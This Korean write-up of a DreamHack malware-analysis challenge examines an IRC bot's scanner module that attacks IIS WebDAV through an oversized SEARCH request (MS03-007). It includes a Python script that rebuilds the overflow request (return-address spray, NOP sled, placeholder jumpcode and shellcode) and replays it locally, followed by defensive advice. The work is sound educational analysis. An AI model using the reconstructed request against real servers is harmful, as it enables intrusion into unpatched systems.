[🥈 Silver 4] 65,536은 우연이 아니었다 — DreamHack [CodeEngn] Malware L02 풀이

2026-08-17·1분 읽기·

[🥈 Silver 4] 65,536은 우연이 아니었다 — DreamHack [CodeEngn] Malware L02 풀이

악성코드 소스 62줄만 던져주고 "무엇을 공격하는가"를 묻는 문제. 요청 본문에 박힌 DAV: 네임스페이스와 SEARCH 메서드가 답을 반쯤 알려주지만, 확신은 코드가 실제로 만들어 내는 바이트를 그대로 재구성했을 때 왔다. URI 길이가 딱 65,536바이트 — 0x10000이다.

문제: DreamHack — [CodeEngn] Malware L02 분류: Misc (악성코드 분석) 난이도: 🥈 Silver 4 FLAG: webdav

바이너리도 서버도 없다. .cpp 파일 하나가 전부고, 물어보는 것도 딱 한 줄이다.

# show_desc.sh
#!/bin/sh
# 드림핵 API 에서 이 문제의 제목·분류·설명만 뽑아 본다
python3 ~/Dev/Hacking_Project/_도구/dreamhack_auto/fetch_desc.py 369 | python3 -c '
import sys, json
d = json.load(sys.stdin)
print("제목    :", d["title"].strip())
print("분류    :", ", ".join(d["tags"]))
print("푼 사람 :", d["cnt_solvers"], "명")
print("배포파일:", ", ".join(f["name"] for f in d.get("files", [])) or "(응답에 없음)")
print()
print("[문제 설명]")
print(d["description"].strip())
'
./show_desc.sh
드림핵 API 로 받은 CodeEngn Malware L02 문제 메타 — 분류 misc, 134명이 해결, 설명은 "다음 파일은 악성코드 소스의 일부분이다. 무엇을 공격하는것인가 ex ) ddos (정답은 모두 소문자, 띄어쓰기 없음)"
드림핵 API 로 받은 CodeEngn Malware L02 문제 메타 — 분류 misc, 134명이 해결, 설명은 "다음 파일은 악성코드 소스의 일부분이다. 무엇을 공격하는것인가 ex ) ddos (정답은 모두 소문자, 띄어쓰기 없음)"

예시로 준 ddos는 같은 시리즈 Malware L01의 정답이다. 그러니 형식은 확실하다 — 소문자 한 단어. 문제는 이 코드가 겨누는 게 정확히 무엇이냐다.


문제 개요

항목내용
문제명[CodeEngn] Malware L02
난이도🥈 Silver 4
분류Misc / 악성코드 분석
제공 파일24FFA091.cpp — 3,154바이트, 62줄, CRLF
답의 형식소문자·공백 없음 한 단어
핵심 판단요청 본문의 DAV: 네임스페이스 + 64KB짜리 SEARCH URI


🔬 정찰 — 62줄이 전부다

file extracted/24FFA091.cpp && wc -lc extracted/24FFA091.cpp && sha256sum extracted/24FFA091.cpp
file·wc·sha256sum 출력 — 24FFA091.cpp 는 CRLF 줄바꿈의 C 소스, 62줄 3154바이트, sha256 d997e0f1..
file·wc·sha256sum 출력 — 24FFA091.cpp 는 CRLF 줄바꿈의 C 소스, 62줄 3154바이트, sha256 d997e0f1..

컴파일되는 완결 프로그램이 아니다. CString, g_cMainCtrl, xWrite 같은 이름들이 선언 없이 튀어나오는 걸 보면 큰 프로젝트에서 파일 하나만 잘라낸 조각이다. 그래서 도구를 돌릴 게 없고, 읽는 수밖에 없다.

cat -n extracted/24FFA091.cpp | sed -n 1,22p
소스 1~22행 — body[] 에 XML 요청이 들어 있고 StartScan 은 80 포트를 확인한 뒤 Exploit 을 부른다
소스 1~22행 — body[] 에 XML 요청이 들어 있고 StartScan 은 80 포트를 확인한 뒤 Exploit 을 부른다

첫 네 줄부터 답의 절반이 나와 있다.

char body[]=
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
	"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
	"</g:searchrequest>\r\n";

그리고 StartScan은 이 모듈이 무엇을 노리는지 한 줄로 말해 준다.

if(ScanPort(sHost.CStr(), 80))
{	g_cMainCtrl.m_cIRC.SendFormat(..., "%s: scanning ip %s:80.", ...);
	bSuccess=Exploit(sHost); }

80 포트가 열려 있을 때만 Exploit으로 넘어간다. 웹 서버가 표적이다.


🧩 배경 — SEARCH는 HTTP가 아니라 WebDAV의 메서드다

GET·POST·HEAD는 HTTP 표준 메서드지만 SEARCH는 아니다. WebDAV(RFC 4918 계열)가 HTTP 위에 얹은 확장 메서드고, 서버 쪽 저장소를 질의할 때 쓴다. 그 질의문은 본문에 XML로 실어 보내는데, 네임스페이스가 DAV: 라는 게 결정적인 표식이다.

grep -n -E "DAV:|searchrequest|g:sql|SEARCH /" extracted/24FFA091.cpp
grep 출력 — 2·3·4행에 DAV: 네임스페이스와 g:searchrequest·g:sql 이 있고 44행에서 strcpy 로 "SEARCH /" 를 쓴다
grep 출력 — 2·3·4행에 DAV: 네임스페이스와 g:searchrequest·g:sql 이 있고 44행에서 strcpy 로 "SEARCH /" 를 쓴다

Select "DAV:displayname" from scope()는 WebDAV SEARCH의 교과서적인 질의문이다. 즉 이 코드는 대상 웹 서버의 WebDAV 확장에 말을 걸고 있다.

여기까지만 봐도 webdav가 유력하다. 다만 "웹 서버를 공격한다"는 것과 "WebDAV를 공격한다"는 건 다른 답이라, 본문 XML만 보고 단정하기는 아직 이르다. WebDAV 질의문은 그냥 말을 걸기 위한 껍데기일 수도 있으니까.


🕹️ 이 파일은 봇넷의 스캐너 모듈이다

답을 확정하기 전에, 이 코드가 어디에 얹혀 있는지부터 보는 게 순서다.

grep -n -E "g_cMainCtrl|m_cIRC|bot_ftrans_port|CScanner|ScanPort|setup_shellcode" extracted/24FFA091.cpp
grep 출력 — CScannerMalware_L02 클래스, g_cMainCtrl.m_cIRC.SendFormat 으로 IRC 채널에 보고, bot_ftrans_port 와 setup_shellcode 호출이 보인다
grep 출력 — CScannerMalware_L02 클래스, g_cMainCtrl.m_cIRC.SendFormat 으로 IRC 채널에 보고, bot_ftrans_port 와 setup_shellcode 호출이 보인다
  • CScannerMalware_L02 — 클래스 이름부터 스캐너다. 문제 출제자가 원래 클래스명을 Malware_L02로 바꿔 놓았다.
  • g_cMainCtrl.m_cIRC.SendFormat(...) — 진행 상황을 IRC 채널로 보고한다. scanning ip %s:80., exploited ip %s. 두 줄이 그대로 들어 있다.
  • g_cMainCtrl.m_cBot.bot_ftrans_port.iValue — 봇이 띄워 둔 파일 전송 포트 번호를 쉘코드에 심는다.
  • setup_shellcode(..., Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, ...) — 쉘코드 안의 포트·IP 자리를 런타임에 덮어쓴다. 연결복귀형 다운로더라는 뜻이다.

전역 컨트롤러(g_cMainCtrl)·IRC 모듈·CScanner* 서브클래스·설정값 객체(bot_ftrans_port.iValue)라는 조합은 2000년대 초 Agobot/Phatbot 계열 봇 소스의 구조 그대로다. 정확한 계보를 이 조각만으로 못 박을 수는 없지만, IRC로 조종되는 봇의 자가전파 모듈이라는 건 코드에 그대로 적혀 있다.

IsPrivate() 두 번 호출도 재미있다.

if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
	iShellSize=setup_shellcode(..., inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), ...);
else
	iShellSize=setup_shellcode(..., g_cMainCtrl.m_cIRC.m_lLocalAddr, ...);

자기는 사설망인데 표적이 공인망이면 되돌아올 주소를 다르게 잡는다. NAT 뒤에서도 감염을 이어가려는 배려다.

봇넷 안에서 이 스캐너 모듈이 도는 한 바퀴 — IRC 명령 수신, 80 포트 확인, SEARCH 64KB 전송, 표적의 쉘코드가 ftrans 포트로 연결복귀해 봇을 내려받고, exploited ip 를 IRC 로 보고
봇넷 안에서 이 스캐너 모듈이 도는 한 바퀴 — IRC 명령 수신, 80 포트 확인, SEARCH 64KB 전송, 표적의 쉘코드가 ftrans 포트로 연결복귀해 봇을 내려받고, exploited ip 를 IRC 로 보고

🐛 삽질 — URI 길이를 65,535로 셌다

여기서 한 번 잘못 세고 넘어갔다 (펼치기)

요청을 조립하는 부분을 처음 읽었을 때, 나는 URI 길이를 65,535바이트로 적어 뒀다. for(;j<i+65535-strlen(jumpcode);j++)라고 65535가 눈에 대놓고 박혀 있으니 그렇게 읽는 게 자연스럽다.

그런데 바이트로 재구성해 보니 65,536이 나왔다. 차이는 슬래시 하나다.

strcpy(szReqBuf, "SEARCH /");        // 8바이트 — 마지막 글자가 '/' 다
int j, i=strlen(szReqBuf);           // i = 8

URI는 "SEARCH " 다음의 /부터 시작한다. 그 /가 오프셋 7에 있고, 뒤에 65,535바이트가 더 붙는다. 그래서 URI는 1 + 65535 = 65536 — 정확히 0x10000이다.

1바이트 차이가 이 문제의 전부였다. 65,535였다면 "그냥 아주 긴 URI"지만, 65,536이면 64KB 경계를 정확히 넘기려고 계산해서 맞춘 숫자다. 우연히 큰 값을 고른 게 아니라 특정 버퍼 크기를 노렸다는 증거고, 그때부터 답이 iis(제품)가 아니라 webdav(그 제품의 어느 부분)여야 한다는 확신이 섰다.

읽기만 하고 넘어갔으면 못 봤을 것이다. 짧은 코드일수록 실제로 돌려 보는 게 싸게 먹힌다.



💣 핵심 — 이 코드가 뱉는 바이트를 그대로 만들어 본다

Exploit() 뒷부분이 요청을 조립하는 자리다.

cat -n extracted/24FFA091.cpp | sed -n 39,56p
소스 39~56행 — NOP 슬레드와 쉘코드를 szSCBuf 에 채우고, szReqBuf 에 SEARCH / + ret 스프레이 + NOP + jumpcode 를 쌓은 뒤 HTTP 헤더와 body 를 붙인다
소스 39~56행 — NOP 슬레드와 쉘코드를 szSCBuf 에 채우고, szReqBuf 에 SEARCH / + ret 스프레이 + NOP + jumpcode 를 쌓은 뒤 HTTP 헤더와 body 를 붙인다

읽는 것보다 그대로 옮겨 실행하는 게 확실하다. C 코드를 한 줄씩 파이썬으로 베꼈다. jumpcode와 Malware_L02_shellcode는 이 발췌에 없는 외부 심볼이라 길이만 파라미터로 두고 자리표시 바이트를 채웠다 — 출력에서도 외부심볼로 표시한다.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
[CodeEngn] Malware L02 — 24FFA091.cpp 의 Exploit() 가 실제로 만들어 내는 바이트열을 그대로 재구성한다.
 
C++ 원본을 한 줄씩 그대로 옮겼다. 외부 심볼(jumpcode / Malware_L02_shellcode)은 이 발췌에 없으므로
길이만 파라미터로 두고 자리표시 바이트를 채운다 — 그 자리는 출력에서 '외부심볼'로 표시한다.
"""
import sys
 
# ── 원본의 body[] 상수 (24FFA091.cpp 1~4행) 를 그대로 옮긴 것 ────────────
BODY = (
    b'<?xml version="1.0"?>\r\n<g:searchrequest xmlns:g="DAV:">\r\n'
    b'<g:sql>\r\nSelect "DAV:displayname" from scope()\r\n'
    b'</g:sql>\r\n'
    b'</g:searchrequest>\r\n'
)
 
RET = 0xB102          # unsigned short ret=0xB102;
NOP_SIZE = 100        # iNOPSize=100
HOST = "192.0.2.10"   # sHost — 문서용 예약대역(RFC 5737)
 
# 이 발췌에 없는 외부 심볼. 길이만 가정하고 자리표시로 채운다.
JUMPCODE_LEN = 8      # strlen(jumpcode)
SHELLCODE_LEN = 344   # iShellSize = setup_shellcode(...) 의 반환값
JUMPCODE = b"\xE9" + b"\xCC" * (JUMPCODE_LEN - 1)
SHELLCODE = b"\xCC" * SHELLCODE_LEN
 
 
def build():
    buf = bytearray(100000)                       # malloc(100000) + memset(...,0,100000)
 
    # strcpy(szReqBuf, "SEARCH /");
    buf[0:8] = b"SEARCH /"
    i = 8                                          # i = strlen(szReqBuf)
 
    # szReqBuf[i]='\x90';
    buf[i] = 0x90
 
    # for(j=i+1; j<i+2150; j+=2) memcpy(szReqBuf+j, &ret, 2);
    ret_le = RET.to_bytes(2, "little")             # 0xB102 → 02 B1
    j = i + 1
    spray_start, spray_n = j, 0
    while j < i + 2150:
        buf[j:j + 2] = ret_le
        spray_n += 1
        j += 2
    spray_end = j                                  # 마지막 2바이트 쓰기가 끝난 다음 위치
 
    # for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
    sled_start = j
    while j < i + 65535 - len(JUMPCODE):
        buf[j] = 0x90
        j += 1
    sled_end = j
 
    # memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));
    buf[j:j + len(JUMPCODE)] = JUMPCODE
    uri_total = j + len(JUMPCODE)                  # 요청라인의 URI 끝
 
    def slen():                                    # strcat/sprintf 가 쓰는 strlen — 첫 NUL 까지
        return buf.index(0)
 
    # strcat(szReqBuf, " HTTP/1.1\r\n");
    p = slen(); tail = b" HTTP/1.1\r\n"; buf[p:p + len(tail)] = tail
 
    # sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\n...Content-Length: %d\r\n\r\n", ...)
    declared = len(BODY) + len(SHELLCODE)          # strlen(body)+iShellSize
    hdr = ("Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n"
           % (HOST, declared)).encode()
    p = slen(); buf[p:p + len(hdr)] = hdr
 
    # strcat(szReqBuf, body);
    p = slen(); buf[p:p + len(BODY)] = BODY
 
    # memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
    p = slen(); buf[p] = 0x01
    # memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
    p = slen(); buf[p:p + 3] = b"\x90" * 3
    # memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);   szSCBuf = NOP*100 + shellcode
    sc = b"\x90" * NOP_SIZE + SHELLCODE
    p = slen(); sc_at = p; buf[p:p + len(sc)] = sc
 
    # iReqSize=strlen(szReqBuf);
    req_size = slen()
    req = bytes(buf[:req_size])
 
    return req, dict(uri_total=uri_total, spray_start=spray_start, spray_n=spray_n,
                     spray_end=spray_end, sled_start=sled_start, sled_end=sled_end,
                     declared=declared, sc_at=sc_at, sc_len=len(sc), req_size=req_size)
 
 
def main():
    req, m = build()
    uri = req[7:m["uri_total"]]                    # '/' 부터 URI 끝까지
 
    print("[구조] 24FFA091.cpp Exploit() 가 소켓으로 내보내는 바이트")
    print("  요청 메서드            : %s" % req[:8].decode())
    print("  URI 길이               : %d 바이트 (0x%X)  <-- '/' 포함" % (len(uri), len(uri)))
    print("  ret 스프레이           : off %d..%d, 0x%04X('%s') x %d회"
          % (m["spray_start"], m["spray_end"] - 1, RET,
             RET.to_bytes(2, "little").hex(" "), m["spray_n"]))
    print("  NOP 슬레드             : off %d..%d (0x90 x %d)"
          % (m["sled_start"], m["sled_end"] - 1, m["sled_end"] - m["sled_start"]))
    print("  jumpcode               : off %d..%d (%d바이트, 외부심볼)"
          % (m["sled_end"], m["uri_total"] - 1, len(JUMPCODE)))
    print("  선언한 Content-Length  : %d  (= strlen(body) %d + iShellSize %d)"
          % (m["declared"], len(BODY), len(SHELLCODE)))
    print("  실제 본문 길이         : %d  (선언보다 %d 많다: 0x01 1 + NOP 3 + NOP슬레드 %d)"
          % (m["req_size"] - req.index(b"\r\n\r\n") - 4,
             (m["req_size"] - req.index(b"\r\n\r\n") - 4) - m["declared"], NOP_SIZE))
    print("  쉘코드 시작            : off %d (NOP %d + shellcode %d, 외부심볼)"
          % (m["sc_at"], NOP_SIZE, len(SHELLCODE)))
    print("  전체 요청 크기         : %d 바이트" % m["req_size"])
    print()
    print("[64KB 경계] URI 를 ANSI→UTF-16 로 넓히면")
    print("  %d 바이트 x 2 = %d 바이트 > 0xFFFF(%d)"
          % (len(uri), len(uri) * 2, 0xFFFF))
    print("  스프레이 2바이트 '02 b1' 의 와이드 이미지 = '02 00 b1 00' → DWORD 0x00B10002")
    print()
    print("[본문 XML]")
    for line in BODY.decode().replace("\r\n", "\n").rstrip("\n").split("\n"):
        print("  " + line)
 
    with open("request.bin", "wb") as f:
        f.write(req)
    print()
    print("[저장] request.bin (%d 바이트)" % len(req))
 
 
if __name__ == "__main__":
    sys.exit(main())
python3 build_request.py
build_request.py 실행 결과 — URI 길이 65536(0x10000), ret 스프레이 0xB102 를 1075회, NOP 슬레드 63376바이트, 선언 Content-Length 479 대 실제 본문 583바이트
build_request.py 실행 결과 — URI 길이 65536(0x10000), ret 스프레이 0xB102 를 1075회, NOP 슬레드 63376바이트, 선언 Content-Length 479 대 실제 본문 583바이트

숫자가 다 나왔다.

재구성한 66,202바이트 요청의 구조 도식 — 요청 라인은 SEARCH / 와 ret 스프레이·NOP 슬레드·jumpcode 로 정확히 0x10000 바이트를 채우고, 본문은 WebDAV XML 뒤에 0x01·NOP·쉘코드가 붙는다
재구성한 66,202바이트 요청의 구조 도식 — 요청 라인은 SEARCH / 와 ret 스프레이·NOP 슬레드·jumpcode 로 정확히 0x10000 바이트를 채우고, 본문은 WebDAV XML 뒤에 0x01·NOP·쉘코드가 붙는다

여기서 읽히는 게 세 가지다.

1. URI가 정확히 0x10000이다. 앞서 삽질 토글에서 적었듯 / 한 글자 덕에 65,536이 된다. ANSI 문자열이 UTF-16으로 넓어진다고 놓고 보면 131,072바이트가 되어 0xFFFF짜리 버퍼를 그냥 넘긴다. 이건 특정 버퍼 크기를 겨눈 숫자지, 그냥 크게 잡은 값이 아니다.

2. 앞머리 2,150바이트가 0xB102 반복이다. unsigned short ret이라는 변수 이름 그대로, 덮어쓸 복귀 주소 후보를 촘촘히 깔아 둔 스프레이다. 뒤이어 63,376바이트짜리 0x90 NOP 슬레드가 오고, 맨 끝 8바이트만 jumpcode다. 스택 어딘가에 정확히 착지하지 못해도 슬레드 위 어디든 떨어지면 흘러가게 만든 배치다.

다만 이 두 바이트가 어느 DWORD 자리에서 저장된 복귀 주소를 덮느냐는 여기서 확인할 수 없다. 취약한 Windows 표적이 있어야 알 수 있는 부분이라, 이 글에서는 "복귀 주소 스프레이"라는 구조까지만 사실로 둔다.

3. Content-Length가 104바이트 모자라다. 선언은 479인데 실제로 보내는 본문은 583바이트다. strlen(body)+iShellSize만 세고 사이에 낀 0x01 1바이트, NOP 3바이트, 그리고 쉘코드 앞의 NOP 슬레드 100바이트를 안 셌다. 표적이 본문을 성실히 파싱하지 않을 걸 알고 짠 코드다 — 어차피 파싱 전에 URI에서 넘칠 테니까.

한 가지 더. 마지막 줄이 iReqSize=strlen(szReqBuf);인데, 이러면 쉘코드에 NUL 바이트가 하나라도 있으면 거기서 요청이 잘린다. 이 코드는 NUL-free 쉘코드를 쓴다는 전제 위에 서 있다.


🔎 헥스덤프로 확인 — 경계가 눈에 보인다

xxd -l 96 request.bin
xxd 로 본 요청 앞 96바이트 — SEARCH / 다음에 0x90 이 하나 오고 그 뒤로 02 b1 이 계속 반복된다
xxd 로 본 요청 앞 96바이트 — SEARCH / 다음에 0x90 이 하나 오고 그 뒤로 02 b1 이 계속 반복된다

53 45 41 52 43 48 20 2f(SEARCH /) → 90 → 02 b1 02 b1 …. 소스와 한 바이트도 어긋나지 않는다.

URI가 끝나는 자리를 보면 더 분명하다.

xxd -s 65520 -l 288 request.bin
xxd 로 본 오프셋 0xfff0 부근 — NOP 슬레드가 끝나고 jumpcode 가 오프셋 0x10000 직전에서 끝난 뒤 " HTTP/1.1" 과 헤더, 그리고 DAV: 네임스페이스 XML 본문이 이어진다
xxd 로 본 오프셋 0xfff0 부근 — NOP 슬레드가 끝나고 jumpcode 가 오프셋 0x10000 직전에서 끝난 뒤 " HTTP/1.1" 과 헤더, 그리고 DAV: 네임스페이스 XML 본문이 이어진다

00010000 줄에서 cc 바이트(자리표시 jumpcode)가 끝나고 곧바로 20 48 54 54 50( HTTP)이 시작된다. URI의 마지막 바이트가 오프셋 0x10006, 즉 /부터 세면 정확히 64KB. 그 아래로 Host:, Content-Type: text/xml, Content-Length: 479가 이어지고 <g:searchrequest xmlns:g="DAV:"> 본문이 붙는다. 본문 끝 0190 9090이 0x01 + NOP 3개다.


🧪 소켓 위에서 한 번 더

파일로만 보면 "내가 파이썬으로 만든 바이트열"일 뿐이다. 실제로 TCP로 흘려서, 받는 쪽이 이걸 무엇으로 읽는지 봐야 확실하다. 취약한 IIS를 세우는 게 목적이 아니라 요청 라인이 정말 WebDAV SEARCH + 64KB URI로 성립하는지만 확인하는 것이다.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
build_request.py 가 만든 request.bin 을 실제 TCP 소켓으로 흘려 보내고,
받는 쪽에서 무엇이 도착했는지 뜯어 본다.
 
취약한 IIS 5.0 을 켜 놓고 하는 게 아니다. 목적은 하나 — 재구성한 바이트열이
진짜 HTTP 요청으로 성립하는지, 그리고 요청 라인이 정말 WebDAV SEARCH + 64KB URI 인지
소켓 위에서 확인하는 것이다.
"""
import socket
import threading
 
HOST, PORT = "127.0.0.1", 8080
received = {}
 
 
def server():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(1)
    conn, addr = srv.accept()
    chunks = []
    conn.settimeout(2.0)
    try:
        while True:
            b = conn.recv(65536)
            if not b:
                break
            chunks.append(b)
    except socket.timeout:
        pass
    received["peer"] = addr
    received["data"] = b"".join(chunks)
    conn.close()
    srv.close()
 
 
t = threading.Thread(target=server)
t.start()
 
payload = open("request.bin", "rb").read()
cli = socket.create_connection((HOST, PORT))
cli.sendall(payload)
cli.close()
t.join()
 
data = received["data"]
head, _, body = data.partition(b"\r\n\r\n")
reqline, _, hdrs = head.partition(b"\r\n")
method, _, rest = reqline.partition(b" ")
uri, _, ver = rest.rpartition(b" ")
 
print("[수신] %s:%d 에서 %d 바이트" % (received["peer"][0], received["peer"][1], len(data)))
print("[요청라인] method=%s  version=%s" % (method.decode(), ver.decode()))
print("[요청라인] URI 길이 = %d 바이트 (0x%X)" % (len(uri), len(uri)))
print("[요청라인] URI 앞 12바이트 = %s" % uri[:12].hex(" "))
print("[요청라인] URI 뒤 12바이트 = %s" % uri[-12:].hex(" "))
print("[요청라인] URI 바이트 분포 = %s"
      % ", ".join("%02x:%d" % (b, uri.count(b)) for b in sorted(set(uri))[:6]))
print()
print("[헤더]")
for h in hdrs.split(b"\r\n"):
    print("  " + h.decode())
print()
print("[본문] 선언 Content-Length=%s / 실제 수신 본문=%d 바이트"
      % (dict(h.split(b": ", 1) for h in hdrs.split(b"\r\n"))[b"Content-Length"].decode(), len(body)))
print("[본문] XML 부분:")
xml_end = body.find(b"</g:searchrequest>\r\n") + len(b"</g:searchrequest>\r\n")
for line in body[:xml_end].decode().replace("\r\n", "\n").rstrip("\n").split("\n"):
    print("    " + line)
print("[본문] XML 뒤에 붙은 %d 바이트 = %s ..." % (len(body) - xml_end, body[xml_end:xml_end + 8].hex(" ")))
print("[판정] WebDAV SEARCH 요청 — DAV: 네임스페이스 본문 + URI %d(0x%X)바이트"
      % (len(uri), len(uri)))
python3 replay_local.py
replay_local.py 실행 결과 — 수신한 66202바이트에서 method=SEARCH, URI 길이 65536(0x10000), URI 바이트 분포는 90 이 63377개·02 와 b1 이 각 1075개, 본문은 DAV: 네임스페이스 XML 뒤에 448바이트가 더 붙어 있다
replay_local.py 실행 결과 — 수신한 66202바이트에서 method=SEARCH, URI 길이 65536(0x10000), URI 바이트 분포는 90 이 63377개·02 와 b1 이 각 1075개, 본문은 DAV: 네임스페이스 XML 뒤에 448바이트가 더 붙어 있다

받는 쪽이 읽은 결과가 그대로 나온다.

  • method=SEARCH — HTTP 표준 메서드가 아니다.
  • URI 65,536바이트, 그 안에 90이 63,377개, 02와 b1이 각각 1,075개.
  • 본문은 DAV: 네임스페이스 XML, 그 뒤에 448바이트가 더 붙어 있고 시작이 01 90 90 90.

WebDAV SEARCH 요청 하나에 64KB 오버런과 쉘코드를 실어 보내는 코드라는 게 소켓 위에서 확인됐다.


🎯 정답

정리하면 이렇다.

관찰근거
표적은 웹 서버ScanPort(sHost, 80) 통과해야 Exploit 진입
말을 거는 대상은 WebDAV본문이 xmlns:g="DAV:" 네임스페이스의 searchrequest
쓰는 메서드가 WebDAV 전용strcpy(szReqBuf, "SEARCH /")
공격 방식은 URI 오버런URI가 정확히 0x10000바이트 · 0xB102 스프레이 · NOP 슬레드
목적은 자가전파쉘코드에 봇의 bot_ftrans_port·로컬 IP를 심어 연결복귀

이 조합은 2003년 IIS 5.0의 WebDAV 처리 경로에서 터진 MS03-007(CVE-2003-0109) 그 자체다. 취약점 자체는 ntdll.dll에 있었지만, 64KB가 넘는 URL을 그 경로까지 실어 보낼 수 있는 통로가 WebDAV의 SEARCH였다. Welchia/Nachi 같은 웜이 이걸로 퍼졌고, 이 코드는 봇에 같은 능력을 붙인 모듈이다.

문제가 묻는 "무엇을 공격하는가"의 답은 제품 이름(iis)이 아니라 그 제품의 어느 부분이냐 — webdav 다.

webdav

한 방 재현용으로 reproduce.sh를 남겨 뒀다. 배포 파일과 스크립트만 있으면 위 과정을 순서대로 다시 밟는다.

#!/bin/sh
# [CodeEngn] Malware L02 (DreamHack #369, Silver 4, misc) — 한 방 재현.
# 배포 소스 한 조각만 가지고 "무엇을 공격하는가" 를 바이트로 확정한다.
#
#   사용법:  ./reproduce.sh
#   결과  :  정답 문자열 webdav 를 근거와 함께 출력한다.
set -e
cd "$(dirname "$0")"
 
echo "=== 1. 배포 파일 ==="
file extracted/24FFA091.cpp
wc -lc extracted/24FFA091.cpp
sha256sum extracted/24FFA091.cpp
 
echo
echo "=== 2. WebDAV 지문 — body[] 상수와 요청 메서드 ==="
grep -n -E "DAV:|searchrequest|g:sql|SEARCH /" extracted/24FFA091.cpp
 
echo
echo "=== 3. IRC 봇 지문 — 이 파일은 봇의 스캐너 모듈이다 ==="
grep -n -E "g_cMainCtrl|m_cIRC|bot_ftrans_port|CScanner|ScanPort|setup_shellcode" extracted/24FFA091.cpp
 
echo
echo "=== 4. Exploit() 이 내보내는 바이트를 그대로 재구성 ==="
python3 build_request.py
 
echo
echo "=== 5. 요청 앞머리 (SEARCH / + 0x90 + ret 스프레이) ==="
xxd -l 96 request.bin
 
echo
echo "=== 6. URI 가 끝나는 자리 — 오프셋 0x10000 경계 ==="
xxd -s 65520 -l 288 request.bin
 
echo
echo "=== 7. 소켓으로 실제로 흘려 보고 받는 쪽에서 확인 ==="
python3 replay_local.py
 
echo
echo "=== 정답 ==="
echo "webdav"

로컬 환경: Ubuntu(리눅스 6.17), Python 3.13, xxd(vim-common), GNU coreutils. 취약한 Windows 표적은 쓰지 않았고, 쓸 필요도 없었다 — 판정에 필요한 건 전부 발신 측 바이트에 있다.



📝 결론

답이 소스 한 줄에 있어도, 확신은 바이트에서 온다. xmlns:g="DAV:"만 보고 webdav라고 찍어도 맞긴 한다. 하지만 그것만으로는 "WebDAV 프로토콜로 말을 걸 뿐 실제 표적은 다른 것"이라는 가능성을 못 지운다. URI가 정확히 0x10000이라는 걸 확인하고 나서야 이 코드가 WebDAV 처리 경로의 특정 버퍼를 겨눴다는 게 분명해졌다.

긴 상수는 대개 의미가 있다. 65535, 2150, 100 같은 숫자가 소스에 박혀 있으면 그 값이 어디서 왔는지 따져 볼 값어치가 있다. 여기서는 65535가 / 하나와 합쳐져 65536이 되는 게 핵심이었다. 코드를 눈으로 읽는 것과 실행해서 재는 것의 차이가 딱 그 1바이트였다.

방어 관점에서 남는 것 세 가지.

  • 안 쓰는 프로토콜 확장은 꺼 둔다. MS03-007 패치가 나오기 전 마이크로소프트가 먼저 안내한 완화책이 WebDAV 비활성화였다. 20년이 지난 지금도 원칙은 같다 — 쓰지 않는 메서드·모듈·확장은 공격면일 뿐이다. 요즘이라면 PUT/DELETE/PROPFIND/SEARCH 같은 메서드를 리버스 프록시에서 화이트리스트로 잘라내는 게 첫 줄이다.
  • 요청 라인 길이 상한을 앞단에서 건다. 이 요청은 URI만 64KB다. nginx의 large_client_header_buffers, Apache의 LimitRequestLine처럼 앞단에서 상한을 두면 애초에 뒤쪽 파서까지 닿지 않는다. 정상 트래픽에 64KB짜리 URI는 없다.
  • SEARCH처럼 드문 메서드는 그 자체로 탐지 신호다. 이 코드는 IRC로 scanning ip %s:80.을 흘리고 표적마다 똑같은 66KB 요청을 쏜다. 액세스 로그에서 비표준 메서드 + 비정상적으로 긴 URI 조합은 오탐이 거의 없는 룰이 된다. 응답이 오면 실패로 치고 넘어가는 구현이라, 차단만 해도 스캐너 쪽에서는 그냥 "실패한 표적"이 된다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥈 Silver 4] php.ini 한 줄로 SQL Injection 이 막히던 시절 — DreamHack [CodeEngn] Malware L04 풀이
blog

[🥈 Silver 4] php.ini 한 줄로 SQL Injection 이 막히던 시절 — DreamHack [CodeEngn] Malware L04 풀이

배포 파일이 아예 없고 두 줄짜리 질문만 있다. "APM 사이트가 SQL Injection 공격을 받는 중인데 PHP 설정파일에서 어떤 옵션을 켜야 안전한가." 답은 알겠는데 근거가 얇아서, 그 옵션이 실제로 동작하는 마지막 세대인 Debian 6 (Apache 2.2 / PHP 5.3.3 / MySQL 5.1) 을 도커로 세워 Off/On 을 대조했다. 두 종류의 인젝션이 실제로 막히고, 그럼에도 숫자 파라미터와 GBK 우회는 그대로 통과한다.
#dreamhack#ctf#misc+7
2026-08-19#dreamhack +4
[🥉 Bronze 1] 31줄 발췌본이 base64 인코더라는 걸 증명하기 — DreamHack [CodeEngn] Malware L05 풀이
blog

[🥉 Bronze 1] 31줄 발췌본이 base64 인코더라는 걸 증명하기 — DreamHack [CodeEngn] Malware L05 풀이

악성코드 소스 31줄만 주고 "무엇을 하는 함수인가"를 묻는다. 표준 알파벳 64자와 6비트 마스크가 보이니 base64 같은데, 눈으로 찍는 대신 가려진 두 줄을 채워 컴파일하고 입력 304종을 표준과 바이트 단위로 맞춰 봤다. 덤으로 이 구현이 3의 배수 아닌 길이에서 터지고 76열 규격도 어긴다는 것까지 실측했다.
#dreamhack#ctf#misc+6
2026-08-19#dreamhack +4
[🥉 Bronze 1] 헤더에 박히는 두 바이트 — DreamHack [CodeEngn] Malware L03 풀이
blog

